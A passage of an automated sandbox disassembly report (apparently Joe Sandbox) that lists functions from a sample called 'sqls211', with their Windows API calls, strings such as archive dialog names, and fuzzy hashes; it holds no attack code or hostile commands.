String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: b1c0ce3a4a2a0c8f64c5ba89a154094c8c2bb985970091b68c34f8ba82e84911
Instruction ID: 411578fa3d324b8ffdd3ec01a599fbd5efc0feb43266d1edc032b23fd1ff5ed7
Opcode Fuzzy Hash: b1c0ce3a4a2a0c8f64c5ba89a154094c8c2bb985970091b68c34f8ba82e84911
Instruction Fuzzy Hash: 41418C71900189AFCF16DF96CC85AEEBBB5FF08304F148099FA1467262D335AA51DB50

Function 00CC7401 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CC7406

Part of subcall function 00CC3BBA: __EH_prolog.LIBCMT ref: 00CC3BBF

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00CC74CD

Part of subcall function 00CC7A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00CC7AAB
Part of subcall function 00CC7A9C: GetLastError.KERNEL32 ref: 00CC7AF1
Part of subcall function 00CC7A9C: CloseHandle.KERNEL32(?), ref: 00CC7B00

Strings

SeRestorePrivilege, xrefs: 00CC7460
SeSecurityPrivilege, xrefs: 00CC744B

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: cdbef8601135558d66ecbba3687aa6aa44ed9a08f9f80a538878f5d810285b4a
Instruction ID: 188aa581e67995f5f3629511d3fa2734a79ddb100ec9c1927da82714104cd8d5
Opcode Fuzzy Hash: cdbef8601135558d66ecbba3687aa6aa44ed9a08f9f80a538878f5d810285b4a
Instruction Fuzzy Hash: F631CFB1E04248AADF11EBA4DC45FEE7BA8EF09304F04411AF955E7282CB748B45DB61

Function 00CDAD10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00CC1316: GetDlgItem.USER32(00000000,00003021), ref: 00CC135A
Part of subcall function 00CC1316: SetWindowTextW.USER32(00000000,00CF35F4), ref: 00CC1370

EndDialog.USER32(?,00000001), ref: 00CDAD98
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00CDADAD
SetDlgItemTextW.USER32(?,00000066,?), ref: 00CDADC2

Strings

ASKNEXTVOL, xrefs: 00CDAD28

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 082750d37196c5e1c9a37a1248e3b70c0baea4c5c18e15a37c4cd6fca316bcf7
Instruction ID: cc704650685552e3f1e95c80671eecb0c997f5ef10ed9885a3715b0a17472647
Opcode Fuzzy Hash: 082750d37196c5e1c9a37a1248e3b70c0baea4c5c18e15a37c4cd6fca316bcf7
Instruction Fuzzy Hash: C011E632244300BFD3219F68DC45F6A7B6AEF6B702F140012F340DB7A0C7619A16A736

Function 00CCD8EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 00CCD954
_strncpy.LIBCMT ref: 00CCD99A

Part of subcall function 00CD1DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00D01030,00000200,00CCD928,00000000,?,00000050,00D01030), ref: 00CD1DC4

Strings

@%s, xrefs: 00CCD93E
$%s, xrefs: 00CCD949

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: fffb9b670144e36ad79af8796852a6b350ace242658858fe7ac7f1abb601be50
Instruction ID: 0274a518c89143970607808cef7f5028a4d4a134e9987b1d13970aef3654199f
Opcode Fuzzy Hash: fffb9b670144e36ad79af8796852a6b350ace242658858fe7ac7f1abb601be50
Instruction Fuzzy Hash: 8B21D23640024CAEDB21EEA4CC05FEE7BA8AF05304F14003AFA26961A2E732D648DB51

Function 00CD0E46 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00CCAC5A,00000008,?,00000000,?,00CCD22D,?,00000000), ref: 00CD0E85
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00CCAC5A,00000008,?,00000000,?,00CCD22D,?,00000000), ref: 00CD0E8F
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00CCAC5A,00000008,?,00000000,?,00CCD22D,?,00000000), ref: 00CD0E9F

Strings

Thread pool initialization failed., xrefs: 00CD0EB7

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 9b6238dbc6fad679951e84627cdefe94e04754149691d4ed5aef6220b696eb7f
Instruction ID: 97ad0850874dbaa98724dc38d05bf599b53ec3004bf86be774cf0e2cab7761d1
Opcode Fuzzy Hash: 9b6238dbc6fad679951e84627cdefe94e04754149691d4ed5aef6220b696eb7f
Instruction Fuzzy Hash: 401142B1640708ABC3215F6ADD84BABFBDCEB55754F604C2FE1DA82600DA715A408B64

Function 00CDB270 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00CC1316: GetDlgItem.USER32(00000000,00003021), ref: 00CC135A
Part of subcall function 00CC1316: SetWindowTextW.USER32(00000000,00CF35F4), ref: 00CC1370

EndDialog.USER32(?,00000001), ref: 00CDB2BE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 00CDB2D6
SetDlgItemTextW.USER32(?,00000067,?), ref: 00CDB304

Strings

GETPASSWORD1, xrefs: 00CDB289

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: 48d604af2611a5abb98cd81eb5f4ee9a982cf7e194b66ccb5869281fd459613f
Instruction ID: c7221fe594dd634d5d2a45dcb1690ea2d37d1b81955fa36b69429dd7b21a9f41
Opcode Fuzzy Hash: 48d604af2611a5abb98cd81eb5f4ee9a982cf7e194b66ccb5869281fd459613f
Instruction Fuzzy Hash: 2711E133A00219B6DB229E659D49FFF3B6DEF19710F010026FB45F2294CBA49E42A771

Function 00CDDCDD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 00CDDD31
REPLACEFILEDLG, xrefs: 00CDDD1C, 00CDDD50

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 89fb3c0082389b842e2146e0e58348068130b5a04f0ab08ec6c6e778796e487c
Instruction ID: e9fe8f77a215942595a19e01174b8880244a9ccddcead5f9cf2163045053ea26
Opcode Fuzzy Hash: 89fb3c0082389b842e2146e0e58348068130b5a04f0ab08ec6c6e778796e487c
Instruction Fuzzy Hash: 4A015E76A04349AFDB118F55FC44AAB7BAAE708354B10442AFA4BC2331CA31D951EBB1

Function 00CE9A1E Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00CE9AA9
__alldvrm.LIBCMT ref: 00CE9CAA
__alldvrm.LIBCMT ref: 00CE9CCC

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: bd80df88fd36397a74f1d09f46f498bd400f42511a2e95d334d89abd8e93371a
Instruction ID: dca5b8bada69054903b2213cd211d64a7f997d63a332122d50bb88e43033809f
Opcode Fuzzy Hash: bd80df88fd36397a74f1d09f46f498bd400f42511a2e95d334d89abd8e93371a
Instruction Fuzzy Hash: 19A17A72A007C69FEB21DF2AC8817BEBBE5EF55310F2841ADE5959B381C2388E41C751

Function 00CCA354 Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,00CC7F69,?,?,?), ref: 00CCA3FA
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,?,00000800,?,00CC7F69,?), ref: 00CCA43E
SetFileTime.KERNEL32(?,00000800,?,00000000,?,?,00000800,?,00CC7F69,?,?,?,?,?,?,?), ref: 00CCA4BF
CloseHandle.KERNEL32(?,?,?,00000800,?,00CC7F69,?,?,?,?,?,?,?,?,?,?), ref: 00CCA4C6

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 08874bec49adb39a966ae173e9193d0d70c43383cd723800554ec9062d185f1a
Instruction ID: b1df3c4c68b0fd447dfe45b1e300c41e6a941d0b59d2329ee5f79b29230e6cee
Opcode Fuzzy Hash: 08874bec49adb39a966ae173e9193d0d70c43383cd723800554ec9062d185f1a
Instruction Fuzzy Hash: AD41CF31248385AAD725DF24DC59FAEBBE4AB84308F08491DF5E1D3190D6A4DB48DB53

Function 00CC1100 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00CC112B
_wcslen.LIBCMT ref: 00CC1153
_wcslen.LIBCMT ref: 00CC1182
_wcslen.LIBCMT ref: 00CC11A9

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: bd442eda82545ee759a2abd9c7944d0f68351fbe24a826656730094eb21747e6
Instruction ID: b9b616f0f9ff8281a280dc32e29f32a83e0f5995de22f371b5ead4d43faef219
Opcode Fuzzy Hash: bd442eda82545ee759a2abd9c7944d0f68351fbe24a826656730094eb21747e6
Instruction Fuzzy Hash: 3E41B6719006699BCB259F69CD09AEE7BB8EF01311F04401EFD45F7341DB34AE458AB0

Function 00CEC988 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00CE91E0,?,00000000,?,00000001,?,?,00000001,00CE91E0,?), ref: 00CEC9D5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00CECA5E
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00CE6CBE,?), ref: 00CECA70
__freea.LIBCMT ref: 00CECA79

Part of subcall function 00CE8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00CECA2C,00000000,?,00CE6CBE,?,00000008,?,00CE91E0,?,?,?), ref: 00CE8E38

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 4fa2eb9b83b39cf1d518c298ca3f4ddc0be4a2d96b5d42b8e0fbddd28e130c47
Instruction ID: fccd8347f622f2fbd09f0bb9759f4caa01c782054caef3d33c722815a1c33296
Opcode Fuzzy Hash: 4fa2eb9b83b39cf1d518c298ca3f4ddc0be4a2d96b5d42b8e0fbddd28e130c47
Instruction Fuzzy Hash: 4B31D032A0024AABDF24DF66CC85EBE7BA5EB41310B044129FC15E7250EB35CE51EB90

Function 00CDA663 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00CDA666
GetDeviceCaps.GDI32(00000000,00000058), ref: 00CDA675
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00CDA683
ReleaseDC.USER32(00000000,00000000), ref: 00CDA691

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 7b9ebd1f9fc24d79756ec4d58befa97d631f13e0066e121275a238fddcea5aec
Instruction ID: 6682e51dd08cd82603d1eccb935c51377c3096ae7ba4cf8c88732c30896630c2
Opcode Fuzzy Hash: 7b9ebd1f9fc24d79756ec4d58befa97d631f13e0066e121275a238fddcea5aec
Instruction Fuzzy Hash: AAE0EC31942B21A7D2715F60AD0DB8A3E54AB25B52F010101FB09D6390DB6886028BB5

Function 00CDA80C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 00CDA699: GetDC.USER32(00000000), ref: 00CDA69D
Part of subcall function 00CDA699: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00CDA6A8
Part of subcall function 00CDA699: ReleaseDC.USER32(00000000,00000000), ref: 00CDA6B3

GetObjectW.GDI32(?,00000018,?), ref: 00CDA83C

Part of subcall function 00CDAAC9: GetDC.USER32(00000000), ref: 00CDAAD2
Part of subcall function 00CDAAC9: GetObjectW.GDI32(?,00000018,?), ref: 00CDAB01
Part of subcall function 00CDAAC9: ReleaseDC.USER32(00000000,?), ref: 00CDAB99

Strings

(, xrefs: 00CDA9AA

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 1849bab8fa63c7581bf0a0eceadd55c04fc8caab172e6b69b323412777e70804
Instruction ID: d2a442841180164461a85e03a1d30f6f47b70ab2b3609298fa9aa6aedbca9de7
Opcode Fuzzy Hash: 1849bab8fa63c7581bf0a0eceadd55c04fc8caab172e6b69b323412777e70804
Instruction Fuzzy Hash: C091D275604354AFD610DF25C848A2BBBE8FFC9710F00491EFA9AD3261DB30A946DF62

Function 00CEB1B8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00CEB324

Part of subcall function 00CE9097: IsProcessorFeaturePresent.KERNEL32(00000017,00CE9086,00000050,00CF3A34,?,00CCD710,00000004,00D01030,?,?,00CE9093,00000000,00000000,00000000,00000000,00000000), ref: 00CE9099
Part of subcall function 00CE9097: GetCurrentProcess.KERNEL32(C0000417,00CF3A34,00000050,00D01030), ref: 00CE90BB
Part of subcall function 00CE9097: TerminateProcess.KERNEL32(00000000), ref: 00CE90C2

Strings

., xrefs: 00CEB4DB
*?, xrefs: 00CEB1FB

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: 24177f1303fc0c2b907af2c7b7eb43e02322faf7c38b9a999d5b9cde15d1856f
Instruction ID: cc257a6439974cd86290317cb8f2dd9085f0f90b5fc542a2f2bce62bd0be310c
Opcode Fuzzy Hash: 24177f1303fc0c2b907af2c7b7eb43e02322faf7c38b9a999d5b9cde15d1856f
Instruction Fuzzy Hash: C551B371E0024AEFDF14DFAAC881ABEB7B5EF58310F244169E954E7350EB319E019B50

Function 00CC75DE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CC75E3

Part of subcall function 00CD05DA: _wcslen.LIBCMT ref: 00CD05E0

Part of subcall function 00CCA56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00CCA598

SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00CC777F

Part of subcall function 00CCA4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00CCA325,?,?,?,00CCA175,?,00000001,00000000,?,?), ref: 00CCA501
Part of subcall function 00CCA4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00CCA325,?,?,?,00CCA175,?,00000001,00000000,?,?), ref: 00CCA532

Strings

:, xrefs: 00CC7654

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: File$Attributes$CloseFindH_prologTime_wcslen
String ID: :
API String ID: 3226429890-336475711
Opcode ID: 095fbd2c6699e147731f2a7796468cd8f49d6bb12f9d8cabd93d04ed73384edd
Instruction ID: c638ec9dc1e7bee442f45cd3c7af10860d71cc1e18af2e116dc808a77c566db6
Opcode Fuzzy Hash: 095fbd2c6699e147731f2a7796468cd8f49d6bb12f9d8cabd93d04ed73384edd
Instruction Fuzzy Hash: 95416F71800158AAEB25EB64CD5AFEEB378EF45300F00819AF609A7192DB745F85DF71

Function 00CDB48E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00CDB4E3
_wcslen.LIBCMT ref: 00CDB4FE

Strings

}, xrefs: 00CDB4D6

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: e91a140f377e248cfa273693019b1615bbfe44b74e51b5f4fc16efa5ac700dfe
Instruction ID: df0fc782a0b8b11589a5078f27756ba98f7192f771efef5ce8a5a7891151139a
Opcode Fuzzy Hash: e91a140f377e248cfa273693019b1615bbfe44b74e51b5f4fc16efa5ac700dfe
Instruction Fuzzy Hash: BE21D17290434A9AD731EA64E845F6BB3ECDF91750F02042BF744C3341FB64AE4893A2

Function 00CCF344 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00CCF2C5: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00CCF2E4
Part of subcall function 00CCF2C5: GetProcAddress.KERNEL32(00D081C8,CryptUnprotectMemory), ref: 00CCF2F4

